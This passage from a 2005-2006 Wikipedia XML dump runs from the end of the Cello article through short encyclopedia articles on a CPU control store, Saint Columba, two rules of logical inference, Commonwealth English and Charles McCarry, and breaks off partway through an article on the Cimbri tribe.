; Spiccato : In [[Spiccato]], or &quot;bouncy bow&quot; playing, the strings are not &quot;drawn&quot; by the bow but struck by it, while still retaining some horizontal motion, to form a more percussive, crisp sound.  It may be performed by using the wrist to &quot;dip&quot; the bow into the strings.  Spiccato is usually associated with lively playing. On a violin, ''spiccato'' bowing comes off the string, but on a cello, the wood of the bow may rise briskly up without the hair leaving the string.

==Tuning and range==
The cello has four [[Vibrating string|strings]] referred to by their standard tuning, which is in [[perfect fifth]] intervals:  the A-string, D-string, G-string, and C-string. The A-string is tuned to the pitch A3 (which is three [[half-step|half-steps]] lower than [[middle C]]), the D-string a fifth lower at D3, the G-string a fifth below that at G2, and the C-string tuned to C2 (two [[octave|octaves]] lower than [[middle C]]). Cellos are usually tuned to a reference pitch of A4 at 440 [[hertz|Hz]], though tuning to other frequencies, such as 442 [[hertz|Hz]] or 444 [[hertz|Hz]] is also common. Some pieces, notably the 5th of Bach's ''[[Cello Suites (Bach)|6 Suites for Unaccompanied Cello]]'', require an altered tuning of the strings, known as [[scordatura]].

While the lower range is constrained by the tuning of the lowest string (typically C2, two octaves below [[middle C]]), the upper range of the cello can vary according to the skill of the player.  A general guideline when writing for professional cellists sets the upper limit at C6 (two octaves above middle C).  Because of the enormous range of the instrument, written music for the cello frequently alternates between the bass [[clef]], tenor clef, and treble clef. Some romantic composers also wrote notes in [[treble clef]], but intended them to be played an octave lower than written.

==Sizes==
Standard cellos are referred to as &quot;full-sized&quot;, or &quot;four-fourths&quot;. However, cellos come in smaller sizes, from &quot;seven-eighths&quot; and &quot;three-quarter&quot; down to &quot;one-sixteenth&quot; sized cellos. The smaller-sized cellos are identical to standard cellos, but are simply 'scaled-down' for the benefit of children and shorter adults. Many smaller female cellists prefer to play a &quot;seven-eighths&quot; cello as the hand stretches in the lower positions are less taxing. Although rare, cellos in sizes larger than four-fourths do exist. Cellists with large enough hands may play a slightly larger full-sized cello, or even a five-fourths size. The cellos of the 17th- and 18th-century masters (e.g. [[Stradivarius]] and [[Guarneri]]) tend to be slightly smaller than what is today considered full-sized.

==Accessories==
There are many accessories to the cello, (some more essential than others).

*[[Case]]s are used to protect the cello and bow when traveling, and for safe storage.
*[[Rosin]] is applied to the bow hairs to increase the effectiveness of the friction and allow proper sound production.
*[[Rockstop]]s or endpin straps keep the cello from sliding if the endpin does not have a rubber piece on the end (used on wood floors).
*[[Wolf tone eliminator]]s are sometimes placed on cello strings between the tailpiece and the bridge in order to eliminate noises known as [[wolf tone|wolf tones]] or &quot;wolfs&quot;.
*[[Mute (music)|Mutes]] are used to change the sound of the cello by removing [[overtones]]. 
*[[Metronome]]s provide a steady [[tempo]] by sounding out a certain number of beats per minute.  Many models can also produce a [[tuning]] pitch of A4 (440 Hz).
*[[Humidifier]]s are used to control the humidity around the cello.
*[[Frequency counter|Tuners]] are used to [[tuning|tune]] the instrument.

==Current use==
===Orchestral===
Cellos are part of the standard [[symphony orchestra]]. Usually, the orchestra includes eight to twelve cellists. The cello section, in standard orchestral seating, is located on stage left (the audience's right) in the front, opposite to the first violin section. However, some orchestras prefer secondary orchestral seating, where the cello section is placed in the middle front, between the first violins and second violins. The principal, or &quot;first chair&quot; cellist is the leader of the cello section who determines bowings for the section in conjunction with other string sections, and plays solos. In standard orchestra seating, he/she sits nearest to the conductor and the audience. In secondary orchestra seating, he/she sits nearest the conductor and stage left in comparison to the cellist next to him/her (the cellist sitting &quot;second chair&quot;).

The cellos are a critical part of orchestral music; all symphonic works involve the cello section, and many pieces require cello soli or solos. Much of the time, cellos provide part of the harmony for the orchestra. On many occasions, the cello section will pick up the melody of the piece for a brief period of time, before returning to the harmony. There are also cello [[concerto]]s, which are orchestral pieces in which a featured, solo cellist is accompanied by an entire orchestra.

===Solo===
There are multiple [[Cello concerto|cello concertos]], where the cello is accompanied by an [[orchestra]].  There are also many [[cello sonata|sonatas]] for cello and [[piano]] There are also several [[unaccompanied]] pieces for cello, most notably [[Johann Sebastian Bach|J.S. Bach's]] ''[[Cello Suites (Bach)|Unaccompanied Suites for Cello]],'' and Benjamin Britten's ''Unaccompanied Suites for Cello.''

===Quartet/Ensembles===
The cello is a defined member of the traditional [[string quartet]]. In addition, cellos are also usually part of string [[string quintets|quintets]], [[string sextets|sextet]] or [[string trio|trios]]. There have been several pieces written for a cello ensemble of up to twenty to thirty cellists.  This type of ensemble is often called a 'cello choir'. The [[The 12 cellists of the Berlin Philharmonic|Twelve Cellists]] of the [[Berlin Philharmonic Orchestra]] (or the Twelve as they are called) are a prime example of a cello choir. They play and record pieces written especially for twelve cellos including adaptions of famous [[The Beatles|Beatles]] songs.

===Pop Music===
Though the cello is less common in [[popular music]] than in [[Classical music|&quot;classical&quot; music]], it is sometimes featured in [[Pop music|pop]] and [[Rock music|rock]] recordings. The cello is rarely part of a group's standard lineup (though like its cousin the [[violin]], it is becoming more common in mainstream pop). An exception is [[Apocalyptica]], a group of cellists best known for their versions of heavy metal songs. Another example is [[Rasputina]], a group of three female cellists committed to an intricate cello style intermingled with Gothic music. These groups are examples of a style that has become known as [[cello rock]]. Additionally, American musician [[Tony Levin]] makes great use of an electric cello designed by [[Ned Steinberger]] in his solo music. 

Also notable is the [[Northern Ireland|Northern Irish]] group [[Therapy?]], who, from 1996 to 2004, featured [[Martin McCarrick]] on cello. Notable cello-led songs by the band include &quot;Diane&quot; and &quot;God Kicks&quot;.

==Makers / Luthiers==
{{main|Luthier}}

A violin maker or [[luthier]] is someone who builds or repairs stringed instruments, ranging from guitars to violins. Some well known luthiers include:

*[[Nicolo Amati]]
*[[Nicolò Gagliano]]
*[[Gofriller|Matteo Gofriller]]
*[[Giovanni Battista Guadagnini]]
*[[Giuseppe Guarneri]]
*[[Domenico Montagnana]]
*[[Stefano Scarampella]]
*[[Antonio Stradivari]]
*[[David Tecchler]] 
*[[Carlo Giuseppe Testore]]
*[[Jean Baptiste Vuillaume]]

==Cellists==
{{main|List of cellists}}
A person who plays the cello is called a ''cellist.'' For a list of famous or notable cellists, see [[List of cellists|the list of cellists]]. See also [[:Category:Cellists]].

==Reference==
{{GroveOnline|Violoncello|Stephen Bonta|January 28|2006}}

==See also==
{{commons|Cello}}
* [[Double stop]]
* [[Electric cello]]
* [[List of compositions for cello and orchestra]]
* [[List of solo cello pieces]]
* [[:Category:Composers for cello]]

==External links==
*[http://www.cello.org/ The Internet Cello Society]:  an online community of cellists; includes several forums.
*[http://cellist.nl/ cellist.nl]: An international register of professional cellists, teachers, and students.
*[http://www.breakofreality.com/ Break of Reality]: A contemporary of [[Apocalyptica]] from the [[Eastman School of Music]].
[http://www.chrisbsmusic.com/cellohistory.html/ Cello History]:  A brief history of the cello

===Listening===
*[http://www2.bowed.org/ Bowed Radio] (podcast focusing on new music for bowed string instruments)

[[Category:Bowed instruments]]
[[Category:Continuous pitch instruments]]
[[Category:Musical instruments]]
[[Category:String instruments]]

{{Link FA|de}}
{{Link FA|he}}

[[ca:Violoncel]]
[[cs:Violoncello]]
[[da:Cello]]
[[de:Violoncello]]
[[es:Violonchelo]]
[[eo:Violonĉelo]]
[[fr:Violoncelle]]
[[ko:첼로]]
[[it:Violoncello]]
[[he:צ'לו]]
[[hu:Cselló]]
[[nl:Violoncello]]
[[ja:チェロ]]
[[no:Cello]]
[[pl:Wiolonczela]]
[[pt:Violoncelo]]
[[sl:Violončelo]]
[[fi:Sello]]
[[sv:Cello]]
[[vi:Hồ cầm]]
[[uk:Віолончель]]
[[zh:大提琴]]</text>
    </revision>
  </page>
  <page>
    <title>Control store</title>
    <id>6559</id>
    <revision>
      <id>24970332</id>
      <timestamp>2005-10-07T12:07:50Z</timestamp>
      <contributor>
        <ip>61.21.52.98</ip>
      </contributor>
      <comment>+ja</comment>
      <text xml:space="preserve">A '''control store''' is the part of a [[Central processing unit|CPU]]'s [[control unit]] that stores the CPU's [[microprogram]].  It is usually accessed by a [[microsequencer]].

A control store is usually implemented as a [[diode]]-array of [[read-only memory]] on modern [[VLSI]] CPUs.  Historically, [[IBM mainframes]] loaded their microprograms from floppy disks into a control store consisting of ultra-high speed [[random-access memory]].  This permitted IBM to easily repair microprogramming defects in the field.

The control store usually has on its outputs a register. It must be obvious that the outputs that go back into the sequencer to determine the next address have to go through some sort of register to prevent a race condition being created. However it turns out that in most designs it pays for all of the other bits to also go through a register. This is because the machine will work faster if the execution of the next microinstruction is delayed by one cycle. This register is known as a pipeline register. The point is that very often the execution of the next microinstruction is dependent on result of the current microinstruction that will not be stable till the end of the current microcycle.
It can be seen that either way all of the outputs of the control store go into one big register. In the olden days it used to be possible to buy EPROMS with these register bits on the same chip.

[[Category:Computer hardware]]
The clock signal determining the cycle time of the system primarily clocks this register.

[[ja:コントロールストア]]</text>
    </revision>
  </page>
  <page>
    <title>Columba</title>
    <id>6561</id>
    <revision>
      <id>41163220</id>
      <timestamp>2006-02-25T13:11:09Z</timestamp>
      <contributor>
        <username>Feezo</username>
        <id>155651</id>
      </contributor>
      <minor />
      <comment>Reverted edit by [[Special:Contributions/81.97.47.247 | 81.97.47.247]] [[User_Talk: 81.97.47.247 |(talk)]] to last version by Irish Lad</comment>
      <text xml:space="preserve">:''See [[Columba (disambiguation)]] and [[St Columb]] for other uses''

'''Saint Columba or Saint Colm Cille''' sometimes known as ''St. Columba of Iona'' ([[7 December]] [[521]] - [[9 June]] [[597]]), the Latinized version of the [[Irish language|Irish]] name '''Colmcille'''  ([[Old Irish]] '''Columb Cille''') meaning &quot;Dove of the church&quot;, was the outstanding figure among the [[Ireland|Irish]] [[missionary]] [[monk]]s who reintroduced [[Christianity]] to [[Scotland]] and the north of [[England]] during the  [[Dark Ages]]. 

He was born to Fedlimid and [[Eithne]] of the [[Uí Néill]] clan in [[Gartan]], near [[Lough Gartan]], [[Donegal]]. On his father's side he was great-great-grandson of [[Niall of the Nine Hostages]], an Irish king of the 5th century. He became a monk and was ordained priest. Tradition asserts that, sometime around [[560]], he became involved in a dispute with Saint [[Finnian of Moville|Finnian]] over a [[psalter]]. Columba copied the manuscript at the [[scriptorium]] under Saint Finnian, intending to keep the copy. Saint Finnian disputed his right to keep the copy. The dispute eventually led to the pitched [[Battle of Cúl Dreimhne]] in [[561]], during which many men were killed.  (Columba's copy of the psalter has been traditionally associated with the [[Cathach of St. Columba]].) As penance for these deaths, Columba suggested that he work as a missionary in [[Scotland]] to help convert as many people as had been killed in the battle. He [[exile]]d himself from Ireland and never again saw his native island.

In [[563]] he travelled to Scotland, where according to his legend he first landed at the southern tip of the [[Kintyre]] peninsula, near [[Southend, Kintyre|Southend]]. However, being still in sight of his native land he moved further north up the west coast of Scotland. In [[563]] he was granted land to found a monastery on the island of [[Iona]] off the west coast of Scotland, which became the centre of his evangelising mission to Scotland. Aside from the services he provided guiding the only outpost of literacy in the region, his reputation as a holy man led to his role as a diplomat among the tribes; there are also many stories of miracles which he performed during his work to convert the [[Picts]].

The main source of information about Columba's life is the ''Vita Columbae'' by Adomn&amp;aacute;n, the ninth Abbot of Iona, who died in [[704]]. Both the ''Vita Columbae'' and Bede record Columba's visit to [[Bridei I of the Picts|Bridei]], King of [[Fortriu]]. Whereas Adomn&amp;aacute;n just tells us that Columba visited Bridei, Bede relates a later, perhaps Pictish tradition, whereby the saint actually converts the Pictish king. Another early source is a poem in praise of Columba, most probably also composed in the course of the 7th century. It consists of 25 stanzas of four verses of seven syllables each.  

The earliest recorded example of the name ''[[Arthur]]'' in a British document occurs, as ''Arturius'', in Adomnan's ''[[vita]]''. There it occurs as the name of a prince among the Scots, the son of [[Aidan]], king from AD 574, far from the legendary [[King Arthur]]'s familiar haunts in the southwest.

The ''vita'' of Columba is also the source of the first known reference to the [[Loch Ness Monster]]. According to Adomnan Columba came across a group of Picts who were burying a man killed by the monster, and saved a swimmer with the [[sign of the Cross]] and the imprecation &quot;You will go no further&quot;, at which the beast fled terrified, to the amazement of the assembled Picts who glorified Columba's God.

Through the reputation of its venerable founder and its position as a major European center of learning, Columba's Iona became a place of [[pilgrimage]]. A network of Celtic [[high cross]]es marking processional routes developed
around his shrine at Iona.  

Columba’s relics were finally removed in [[849]] and divided between Alba and Ireland. Relics of Columba were carried before Scottish armies in the reliquary made at Iona in the mid-8th century, called the Brechbennoch. ''O Columba spes Scotorum...'' &quot;O Columba, hope of the Scots&quot; begins a 13th century prayer in the [[Antiphoner]] of Inchcolm, the &quot;Iona of the East&quot;. 

St Columba's [[feast day]] is June 9 and with [[Saint Patrick]], [[March 17]], and [[St. Brigid]], [[February 1]], is one of the three patron saints of Ireland.

==See also==
*[[Columbanus]], or [[Saint Columban]], Irish missionary and founder of many European monastaries, a contemporary of Columba's.
*[[Columba Initiative]]
*[[History of Ireland#Early Christian Ireland 400–800|Early Christian Ireland]]
*[[List of people on stamps of Ireland]]
* [[Sainte-Colombe]] has many dedications in [[France]]

==Further Reading==
*Adomnan of Iona, ''Life of St Columba'' (tr. &amp; ed. Richard Sharpe) (Penguin, 1995) ISBN 0140444629 (see below under External Links for an etext)
*Dauvid Broun &amp; Thomas Owen Clancy (eds.) ''Spes Scotorum: Hope of Scots. Saint Columba, Iona and Scotland'' (T &amp; T Clark, 1999) ISBN 0567086828

==External links==
*[http://www.ucc.ie/celt/published/T201011/index.html CELT: ''On the Life of Saint Columba (Betha Choluim Chille)'' (tr. W. Stokes)]
*[http://www.ucc.ie/celt/published/T201040/index.html CELT: ''The Life of Columba, written by Adamnan'' (tr. W. Reeves)]
*[http://www.newadvent.org/cathen/04136a.htm ''Catholic Encyclopedia'':] St. Columba
*[http://www.bbc.co.uk/history/scottishhistory/earlychurch/features_earlychurch_iona.shtml BBC: St Columba]
*[http://jahtruth.net/lecture.htm Columba of Kells and Iona]
*[http://www.loch-ness-scotland.com/projectfolder/centreprojectcopy/archiveroom/papershtml/columba.htm ''Vita'':] the River Nes water monster
*[http://www.cyberscotia.com/inchcolm/index.html &quot;Inchcolm, Iona of the East&quot;] 


{{start box}}
{{succession box | before=- | title=[[Abbot of Iona]]  | years= [[547]]-[[597]]| after=[[Baithéne of Iona|Baithéne]]}}
{{end box}}


[[Category:521 births]]
[[Category:597 deaths]]
[[Category:Post-Roman Scotland]]
[[Category:Irish monks]]
[[Category:Medieval Gaels]]
[[Category:Natives of County Donegal]]
[[Category:Irish saints]]

[[de:Columban von Iona]]
[[eo:Sankta Kolumba]]
[[fr:Saint Colomba]]
[[it:San Columba di Iona]]
[[he:קולומבה]]
[[nl:Columba (heilige)]]
[[ja:コルンバ]]
[[no:Columba av Iona]]
[[pl:Kolumba z Iony]]
[[ru:Колумба]]</text>
    </revision>
  </page>
  <page>
    <title>Conditional proof</title>
    <id>6562</id>
    <revision>
      <id>20429112</id>
      <timestamp>2005-08-06T20:39:30Z</timestamp>
      <contributor>
        <username>Fredrik</username>
        <id>26675</id>
      </contributor>
      <comment>remove poor example, fmt</comment>
      <text xml:space="preserve">A '''conditional proof''' is a [[mathematical proof|proof]] that takes the form of asserting a [[conditional]], and proving that the premise or antecedent of the conditional necessarily leads to the conclusion.  Proving this requires assuming the premise and deriving, from that assumption, the consequent of the conditional.  By proving the connection between the antecedent and the consequent, the assumption of the antecedent is justified ''post hoc''.

==See also== 
*[[deduction theorem]]
*[[logical implication]]

{{math-stub}}
[[Category: Logic]]
[[Category: Proofs]]</text>
    </revision>
  </page>
  <page>
    <title>Conjunction introduction</title>
    <id>6563</id>
    <revision>
      <id>30199654</id>
      <timestamp>2005-12-05T07:02:58Z</timestamp>
      <contributor>
        <username>Jiy</username>
        <id>81090</id>
      </contributor>
      <minor />
      <comment>recat</comment>
      <text xml:space="preserve">'''Conjunction introduction''' is the [[inference]] that, if ''p'' is true, and ''q'' is true, then the [[logical conjunction|conjunction]] ''p and q'' is true.

For example, if it's true that it's raining, and it's true that I'm inside, then it's true that it's raining, and I'm inside.

Formally:

:&lt;math&gt;p\,\!&lt;/math&gt;
:&lt;math&gt;\frac{q\,\!\qquad\quad}{}&lt;/math&gt;
:&amp;there4;&lt;math&gt;( p \wedge q )&lt;/math&gt;
{{Mathlogic-stub}}

[[Category:Rules of inference]]</text>
    </revision>
  </page>
  <page>
    <title>Conjunction elimination</title>
    <id>6564</id>
    <revision>
      <id>20158365</id>
      <timestamp>2005-08-03T02:00:26Z</timestamp>
      <contributor>
        <username>Oleg Alexandrov</username>
        <id>153314</id>
      </contributor>
      <minor />
      <comment>[[Category:Mathematical logic]]</comment>
      <text xml:space="preserve">In [[logic]], '''conjunction elimination''' is the inference that, if the conjunction A and B is true, then A is true, and B is true.

For instance, if it's true that it's raining, and I'm inside, then one may assert either term of the conjunction alone: it's raining, or I'm inside.

Formally:

  &lt;u&gt;( A &amp;and; B )&lt;/u&gt;
  &amp;there4; A

or

  &lt;u&gt;( A &amp;and; B )&lt;/u&gt;
  &amp;there4; B

[[Category:Mathematical logic]]</text>
    </revision>
  </page>
  <page>
    <title>Commonwealth English</title>
    <id>6566</id>
    <revision>
      <id>41945798</id>
      <timestamp>2006-03-02T20:26:36Z</timestamp>
      <contributor>
        <username>Neo Piper</username>
        <id>769197</id>
      </contributor>
      <minor />
      <comment>/* Canadian spelling */</comment>
      <text xml:space="preserve">{{English dialects}}
&quot;'''Commonwealth English'''&quot; is intended as a collective term for the perceived standard [[English language]] used in the [[Commonwealth of Nations]]&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;, applying in theory to [[Australian English]], [[British English]], [[Caribbean English]], [[Canadian English]], [[Hiberno-English]] (Irish English)&lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;, [[Hong Kong English]]&lt;sup&gt;[[#Notes|3]]&lt;/sup&gt;, [[Indian English]] (includes Pakistani English), formal [[Malaysian English]], [[New Zealand English]], formal Singapore English (but not colloquial [[Singlish]]) and [[South African English]].  Yet, Canadian English in particular does not fit well with the others. The term is little used, and when used is most often synonymous with [[British English]] in its narrower sense or with [[International English]] in a specialised sense which excludes [[American English]].

==Rationale for the term &quot;Commonwealth English&quot;==
The term perhaps comes from a desire to recognise that &quot;Standard English&quot; of Britain, distinguished from American English, is just as much owned by those who use it in Australia or New Zealand or India or South Africa as by those who use it in the land of its origin and from a feeling that this use in multiple countries should appear in its name, that this kind of English is no longer ''only'' British.

==Conflict from differences in language==
Aside from spelling, there are other differences in the languages. Words used in the United States are sometimes used in England which can be insultive and derogatory, and vice versa.

==Canadian English's unique position==
===Words and idioms===
Canada, the Commonwealth country with the largest native-born native-English-speaking population outside of Britain, is unique in that its standard vocabulary, idiom, and accent tend to coincide with that of neighbouring speakers in the United States far more than with those of Britain or the rest of the Commonwealth.  Most of the distinctive terms Britons identify as ''American English'' are used by Canadians as well, such as ''[[diaper]]'', ''[[gasoline]]'', ''[[elevator]]'', and ''[[apartment]]''. See also [[North American English]].

===Canadian spelling===
There is no universally accepted standard of Canadian spelling, and standards differ from one English-speaking area of Canada to another. 

Historical ties with Britain tend to pull Canadian spelling in that direction; physical proximity with the United States has tended to pull it towards the American standard. As a result, Canadian spelling has tended to waver between the two, taking some of each.

Most authorities, such as the Canadian Government's style manual, ''The Canadian Style'', the [[Canadian Press]] style guide, the [[Gage Canadian Dictionary]] and the [[Canadian Oxford Dictionary]], propose certain standards:
* the use of the &quot;-our&quot; ending in words such as ''neighbour'' and ''colour'';
* the use of the &quot;-re&quot; ending in words such as ''centre'' and ''theatre'';
* the use of the &quot;-ce&quot; ending for nouns and the &quot;-se&quot; ending for the equivalent verbs, such as ''a licence'' (noun), ''to license'' (verb) and ''practice'' (noun), ''to practise'' (verb); 
* the use of double letters in words such as ''travelled'', ''leveller'', etc.
Certain American spellings remain common. The spelling ''program'' is more usual than ''programme'', ''airplane'' is universally favoured over ''aeroplane'', ''tire'' is used rather than ''tyre'', etc.

==Australian English==
Australian English also borrows from both British and American spellings. However, British English dominates most of the word spelling.

==Internal spelling differences==
Within British English and its Commonwealth variants there is disagreement as to proper spelling of words such as ''organise'' / ''organize''. Both &quot;-ise&quot; and &quot;-ize&quot; are generally accepted as correct. The &quot;-ise&quot; forms are very rarely used in Canada, but they are the choice of the majority in Britain (even though most British dictionaries prefer the &quot;-ize&quot; forms). See [[British English]] for more details. According to Pam Peters (1994: '''-ise/-ize'''), based on British National Corpus data, in Britain:
:... the '''-ise''' spellings outnumber those with '''-ize''' in the ratio of about 3:2. In Australian English, the difference is still greater (often 3:1, by frequencies in the ACE corpus), and the tendency has been reinforced by official endorsement of '''-ise''' by the Australian government ''Style Manual'' since 1966.

The English Academy of South Africa website uses &quot;-ize&quot; forms on some pages and &quot;-ise&quot; forms on other pages, recognising both. The ''Australian Journal of Linguistics'', the official journal of the Australian Linguistics Society, insists on the &quot;-ize&quot; forms against the Australian dictionaries and the majority in Australia.

==Independent standards within &quot;Commonwealth English&quot;==
The more extensive forms of Commonwealth English and even some of those less used have their own separate, recognised dictionaries. The ''Dictionary of Canadian English: The Senior Dictionary'' was first published by the Canadian textbook publisher Gage Learning in [[1967]] and updated versions have appeared regularly, the most recent being the ''Gage Canadian Dictionary'' in [[1997]]. For South Africa there was Charles Pettman's ''Africanderisms'', a glossary of South African colloquial words and phrases published in [[1913]]. Philip Branford's ''A Dictionary of South African English'' was published in [[1978]] and the most recent edition in [[1991]]. Australian English has had the [[Macquarie Dictionary]] since [[1981]]. In [[1996]] [[Oxford University Press]] published the ''Concise Ulster Dictionary''. In [[1998]] they went farther afield by releasing ''A Dictionary of South African English on Historical Principles'', ''The Canadian Oxford Dictionary'', and ''The Dictionary of New Zealand English''. In [[2000]] they published ''The Australian Oxford Dictionary''. All these use previous Oxford English dictionaries as a base, but modify or replace text according to research on other varieties of English. Caribbean English has Frederic&amp;nbsp;G. Cassidy and Robert&amp;nbsp;B. Le&amp;nbsp;Page's ''Dictionary of Jamaican English'' and John&amp;nbsp;A. Holm and Alison&amp;nbsp;W. Shlling's ''Dictionary of Bahamian English''.

==Limited use==
&quot;Commonwealth English&quot; is not a clear and distinctive dialect, although it becomes far closer to being one if Canadian English is not considered. [[Microsoft]] ''[[Encarta]]'' appears in four English versions, an American English version, a British English version, a Canadian English version, and an Australian English version, perhaps indicating that Microsoft did not feel that one Commonwealth English version would serve to balance the American English version, though there are likely to be few differences between the British English version and the Australian English version. A fifth version could be introduced as well: British English with ''Concise Oxford Dictionary'' spelling ([[IANA]] value '''en-GB-oed'''). Also, increasingly, spell checkers are supporting more finely grained systems of spelling, not attempting to make British English, renamed as Commonwealth English, do for all.

==Notes==
# There are a number of other Commonwealth nations which are not listed here but also have English as either the primary or an official, language. Examples include [[Malta]], [[Singapore]] and [[Mozambique]], which is a Commonwealth member but uses [[Portuguese language|Portuguese]] as its main language of communication.
# Although Hiberno-English (Irish English) is listed as Commonwealth English, the [[Republic of Ireland]] is not a member of the Commonwealth of Nations, although [[Northern Ireland]] ''is'' a member, being part of the [[United Kingdom]].
# Although Hong Kong English is listed as Commonwealth English, since [[1997]] [[Hong Kong]] has not been a member of the Commonwealth of Nations, but a [[Special Administrative Region]] of [[People's Republic of China|China]].

==References ==
* Peters, Pam (2004).''The Cambridge Guide to English Usage''. Cambridge: Cambridge University Press. ISBN 052162181X.

== External links ==
*[http://www.englishacademy.co.za English Academy of South Africa] (Website).
*[http://www.tandf.co.uk/journals/authors/cajlauth.asp Taylor &amp; Francies: Instructions for Authors for the ''Australian Journal of Linguistics''] (&quot;The -ize suffix is used, for example, civilize, civilization rather than civilise, civilisation&quot;).

[[Category:Commonwealth of Nations]]
[[Category:English dialects]]
[[Category:English language]]
[[Category:Forms of English]]</text>
    </revision>
  </page>
  <page>
    <title>Charles McCarry</title>
    <id>6569</id>
    <revision>
      <id>39111974</id>
      <timestamp>2006-02-10T20:16:51Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Bringing &quot;External links&quot; and &quot;See also&quot; sections in line with the [[Wikipedia:Manual of Style|Manual of Style]].</comment>
      <text xml:space="preserve">'''Charles McCarry''' is an American writer whose works often concern [[secret history]], [[bank]]ers, the [[CIA]], post-war [[Germany]], and [[Richard Nixon]].  He worked for many years for the CIA. His novels are currently being reprinted by Overlook Press, starting with Tears of Autumn, republished in 2005.

McCarry was an editor-at-large for ''[[National Geographic]]'' and has contributed pieces to ''[[The New York Times]]'', ''[[The Wall Street Journal]]'', ''[[The Washington Post]]'' and other national publications.

McCarry's novel ''The Better Angels'' was made into the film ''Wrong is Right'' (1982) starring [[Sean Connery]].

==Novels==
*''The Miernek Dossier'' - (1973)
*''The Tears of Autumn'' - (1974)
*''The Secret Lovers'' - (1977)
*''The Better Angels'' - (1979)
*''Last Supper'' - (1983)
*''The Bride of the Wilderness'' - (1989)
*''Second Sight'' - (1991)
*''Shelley's Heart'' - (1995)
*''Lucky Bastard'' - (1998)
*''Old Boys'' - (2004)
==Non-Fiction==
*''From the Field'' (editor)
*''Isles of the Caribbean'' (co-author)
*''The Great Southwest''
*''Double Eagle''
*''Citizen Nader'' - (1972)
*''Inner Circles: How America Changed the World'' (with [[Alexander Haig]]) - (1992)

==External links==
*[http://www.themorningnews.org/archives/personalities/birnbaum_v_charles_mccarry.php A 2004 interview with McCarry.]
*[http://www.imdb.com/name/nm0565010/ IMDb page for Charles McCarry.]</text>
    </revision>
  </page>
  <page>
    <title>Cimbri</title>
    <id>6571</id>
    <revision>
      <id>41465667</id>
      <timestamp>2006-02-27T15:05:06Z</timestamp>
      <contributor>
        <ip>157.91.90.249</ip>
      </contributor>
      <comment>/* Invading Gaul */</comment>
      <text xml:space="preserve">{{merge|Cimbrian War}}

[[Image:Cimbrians and Teutons.png|thumb|300px|The migrations of the Teutons and the Cimbri]]
The '''Cimbri''' were a [[Proto-Germanic]] tribe who according to [[Pliny the Elder]] lived on [[Jutland]] (''Chersonesus Cimbrica''), and the Jutish region of ''[[Himmerland]]'' (where the contemporary [[Gundestrup cauldron]] was found) is thought to preserve their name (cf. [[Grimm's law]], K-&gt;H). The name has been analysed as the name ''kimme'' meaning &quot;rim&quot;, i.e. the people of the coast[http://runeberg.org/nfbe/0183.html], but there is also the hypothesis that the name is related to that of the [[Cimmerians]]. Charles Kingsley links the name to the word &quot;Champ(ion)&quot; which gives us the modern Germanic word &quot;Kampf&quot; meaning &quot;fight&quot; (however, this word is normally derived from Latin ''campus'' &quot;field (often for military activities)&quot;).

==Moving south-east==
Some time before [[100 BC]] many of the Cimbri, as well as the [[Teutons|Teutones]], left southern Scandinavia and migrated south-east. After several battles with the [[Boii]] and other [[Celtic tribes]], they appeared ca [[113 BC]] in [[Noricum]], where they invaded the lands of one of Rome's allies, the [[Taurisci]]. At this time, if not before, they had picked up substantial Celtic elements, as allies and the majority of the migrating Cimbri may have been Celtic, such as the [[Ambrones]]. 

On the request of the Roman [[consul]] [[Gnaeus Papirius Carbo]], sent to defend the Taurisci, they retreated only to find themselves deceived and attacked at [[Battle of Noreia|Noreia]]. In a bloody battle, they defeated the Romans and killed the consul.

==Invading Gaul==
Now the road to Italy was open, but they turned west towards [[Gaul]]. They came into frequent conflict with the [[Roman Republic|Romans]], who usually came out the losers. In [[109 BC]], they defeated a Roman army under the consul [[Marcus Junius Silanus]], who was the commander of [[Gallia Narbonensis]]. The same year, they defeated another Roman army under the consul [[Gaius Cassius Longinus, consul 124 BC|Gaius Cassius Longinus]], who was killed at Burdigala (modern day [[Bordeaux]]). In [[107 BC]], the Romans once again lost against the [[Tigurines]], who were allies of the Cimbri.

==Attacking the Roman Republic==
It was not until [[105 BC]] that they planned an attack on the Roman Empire itself. At the [[Rhône River]], the Cimbri clashed with the Roman armies.  The Roman commanders, the proconsul [[Quintus Servilius Caepio]] and the consul [[Gnaeus Mallius Maximus]], hindered Roman coordination and so the Cimbri succeeded in first defeating the legate [[Marcus Aurelius Scaurus]] and later cause a devastating defeat on Caepio and Maximus at the [[Battle of Arausio]]. The Romans lost as many as 80,000 men not including the lost auxiliary cavalry and the non-combatants which would have made a total loss of about 112,000 men.

Rome was in panic, and the ''terror cimbricus'' became a proverb. Everyone expected soon to see the ''new Gauls'' outside of the gates of Rome. In their desperation new measures were undertaken. Against the constitution, [[Marius]], who had defeated [[Jugurtha]], was elected consul and supreme commander for four years in a row ([[104 BC]]&amp;ndash;[[101 BC]]).

==Defeat==
[[Image:The defeat of the Cimbri.jpg|right|thumb|300px|The Defeat of the Cimbri, by [[Alexandre Gabriel Décamps]].]]
However, in [[103 BC]], the Cimbri and their Proto-Germanic allies, the [[Teutons]], had turned to Spain where they pillaged far and wide. During this time C. Marius had the time to prepare and, in [[102 BC]], he was ready to meet the [[Teutons]] and the [[Ambrones]] at the [[Rhône River]]. These two tribes intended to pass into Italy through the western passes, while the Cimbri and the Tigurines were to take the northern route across the [[Rhine]] and later across the [[Tyrol]]ian [[Alps]].

At the estuary of the [[Isère River]], the Teutons and the Ambrones met Marius, whose well-defended camp they did not manage to overrun. Instead, they pursued their route, and Marius followed them.  At [[Battle of Aquae Sextiae|Aquae Sextiae]], the Romans won two battles and took the Teuton king [[Teutobod]] prisoner.

The Cimbri, however, had penetrated through the Alps into northern Italy. However, the consul [[Quintus Lutatius Catulus]] had not dared to fortify the passes, but instead he had retreated behind the [[Po River]], and so the land was open to the invaders. However, the Cimbri did not hurry, and the victors of Aquae
Sextiae had the time to arrive with reinforcements. At the [[Battle of Vercellae]], at the confluence of the [[Sesia River]] with the [[Po River]], in [[101 BC]], the long voyage of the Cimbri also came to an end.

It was a devastating defeat and both the chieftains [[Lugius]] and [[Boiorix]] died. The women killed both themselves and their children in order to avoid slavery. The Cimbri were annihilated, with the exception of a small remaining population of Cimbri which still remained in northern [[Jutland]] in the [[1st century]] AD.

==Culture==
